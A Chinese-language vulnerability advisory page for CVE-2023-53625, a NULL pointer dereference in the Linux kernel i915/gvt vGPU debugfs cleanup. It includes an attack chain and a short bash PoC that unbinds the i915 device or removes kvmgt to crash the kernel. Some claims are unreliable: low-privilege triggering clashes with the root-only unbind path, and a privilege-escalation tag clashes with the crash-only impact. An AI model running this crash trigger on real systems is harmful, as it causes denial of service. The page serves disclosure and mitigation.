IPBUF安全漏洞报告
English
CVE-2023-53625 CVSS 5.5 中危

CVE-2023-53625 Linux内核i915/gvt模块vgpu debugfs清理空指针解引用漏洞

披露日期: 2025-10-07
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2023-53625
漏洞类型
空指针解引用(NULL Pointer Dereference)
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux内核(drm/i915/gvt模块,kvmgt驱动)

相关标签

Linux内核空指针解引用拒绝服务i915GVT-gkvmgtdebugfs本地提权内核漏洞CVE-2023-53625

漏洞概述

CVE-2023-53625是Linux内核drm/i915/gvt子系统中存在的一个空指针解引用漏洞,位于vgpu(虚拟GPU)debugfs清理路径中。该漏洞发生在设备移除(remove)过程中,当intel_gvt_destroy_vgpu函数尝试调用intel_gvt_debugfs_remove_vgpu清理vgpu的debugfs条目时,由于drm minor的debugfs根目录可能已经被销毁,导致对已释放的debugfs根节点进行操作,从而触发内核空指针解引用,引发内核oops(kernel oops)甚至系统崩溃。

该漏洞的触发场景为:当用户通过driverctl等工具卸载i915驱动或相关kvmgt模块时,系统会调用设备移除回调链,最终执行intel_gvt_clean_device和intel_gvt_destroy_vgpu。在此过程中,如果drm minor的debugfs root已经被提前销毁(例如在设备分离过程中),而代码没有正确检查debugfs root的可用性就直接调用debugfs_remove,就会因为访问NULL指针而导致内核崩溃。

从CVSS评分来看,该漏洞评分为5.5分,属于中等严重等级。攻击者需要本地低权限访问即可触发此漏洞,无需用户交互。该漏洞主要影响系统的可用性(Availability: High),不影响机密性和完整性。虽然需要本地权限触发,但利用门槛较低,攻击者可以通过简单的驱动卸载操作导致系统拒绝服务(内核崩溃)。该漏洞影响多个Linux内核稳定版本,已通过多个补丁进行修复。

技术细节

该漏洞的根本原因在于intel_gvt_debugfs_remove_vgpu函数在销毁vgpu时没有充分检查debugfs根目录的有效性。具体技术细节如下:

1. **漏洞触发路径**:当i915驱动被卸载时,内核会调用i915_driver_remove -> intel_gvt_driver_remove -> intel_gvt_clean_device -> mdev_unregister_parent -> mdev_device_remove_cb -> device_del -> device_release_driver_internal -> device_release -> intel_vgpu_release_dev -> intel_gvt_destroy_vgpu -> intel_gvt_debugfs_remove_vgpu -> debugfs_remove。

2. **根本原因**:在设备移除过程中,drm minor的debugfs根目录(debugfs root)可能已经被销毁,但intel_gvt_debugfs_remove_vgpu函数没有对此进行检查。当debugfs_remove被调用时,它会通过simple_recursive_removal尝试对已销毁的debugfs根节点进行加锁操作(down_write),由于根节点指针为NULL或已释放,导致在__lock_acquire中访问地址0x0000000000000150时发生空指针解引用。

3. **触发条件**:需要系统中存在使用i915 GVT-g虚拟GPU功能的环境(如Intel GVT-g被启用且至少创建了一个vgpu),然后通过driverctl等工具触发驱动卸载即可触发该漏洞。

4. **利用方式**:攻击者只需具有本地低权限,执行`driverctl`命令或类似操作触发i915驱动移除,即可导致内核崩溃(kernel oops),造成系统拒绝服务。

5. **修复方案**:补丁通过在intel_gvt_debugfs_remove_vgpu中添加对debugfs根目录有效性的检查,确保在根目录可用时才进行清理操作,避免对已销毁的debugfs根节点进行操作。

攻击链分析

STEP 1
步骤1:环境准备
攻击者需要在运行Linux内核的Intel GPU系统上,确保i915驱动已加载且GVT-g虚拟GPU功能已启用,系统上至少存在一个活跃的vgpu(mediated device)。
STEP 2
步骤2:触发设备移除
攻击者通过driverctl命令或手动将PCI设备从i915驱动解绑(echo device_id > /sys/bus/pci/drivers/i915/unbind),触发i915驱动的remove回调链。
STEP 3
步骤3:触发空指针解引用
在内核执行intel_gvt_destroy_vgpu -> intel_gvt_debugfs_remove_vgpu -> debugfs_remove的过程中,由于drm minor的debugfs根目录已被销毁,代码访问已释放的debugfs根节点,触发NULL指针解引用。
STEP 4
步骤4:系统崩溃
内核检测到空指针解引用错误,输出kernel oops信息并可能导致系统panic,实现拒绝服务攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2023-53625 PoC - Trigger kernel NULL pointer dereference via i915 driver removal # This PoC triggers the vulnerability by unloading the i915 driver when GVT-g vGPU is active # Requirements: Linux system with Intel i915 GPU, GVT-g enabled, at least one active vGPU #!/bin/bash # Step 1: Ensure i915 module is loaded and a vGPU exists # (vgpu creation is typically done via QEMU with mediated device support) echo "[*] Checking for i915 module..." lsmod | grep i915 || echo "[-] i915 module not loaded" echo "[*] Checking for active mediated devices (vGPUs)..." ls /sys/bus/mdev/devices/ 2>/dev/null || echo "[-] No mdev devices found" echo "[*] Triggering driver removal to cause NULL pointer dereference..." # Use driverctl or manual unbind to trigger the vulnerable code path driverctl unset-override 0000:00:02.0 2>/dev/null || \ echo 0000:00:02.0 > /sys/bus/pci/drivers/i915/unbind 2>/dev/null echo "[*] If vulnerable, the system should have crashed with:" echo " BUG: kernel NULL pointer dereference, address: 0000000000000150" echo " RIP: __lock_acquire+0x5e2/0x1f90" echo " Call Trace: debugfs_remove -> intel_gvt_debugfs_remove_vgpu -> intel_gvt_destroy_vgpu" # Alternative: Use modprobe to remove the module echo "[*] Alternative: removing kvmgt module..." modprobe -r kvmgt 2>/dev/null || echo "[-] Cannot remove kvmgt (may be in use)" echo "[*] PoC execution complete"

影响范围

Linux kernel < 4.14.331
Linux kernel 4.15.x ~ 5.4.x(受影响的稳定版本)
Linux kernel 5.5.x ~ 5.10.x(受影响的稳定版本)
Linux kernel 5.11.x ~ 5.15.x(受影响的稳定版本)
Linux kernel 5.16.x ~ 6.1.x(受影响的稳定版本)

防御指南

临时缓解措施
在无法立即升级内核的情况下,建议采取以下临时缓解措施:1)如果系统不需要Intel GVT-g虚拟GPU功能,可以通过在内核启动参数中添加或在内核配置中禁用kvmgt模块(modprobe.blacklist=kvmgt)来避免触发该漏洞路径;2)限制普通用户对PCI设备解绑操作的权限,仅允许root用户执行driverctl或PCI设备unbind操作;3)监控系统日志,及时发现kernel oops事件并采取相应措施;4)避免在生产环境中对运行i915驱动的系统进行热插拔或驱动卸载操作。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表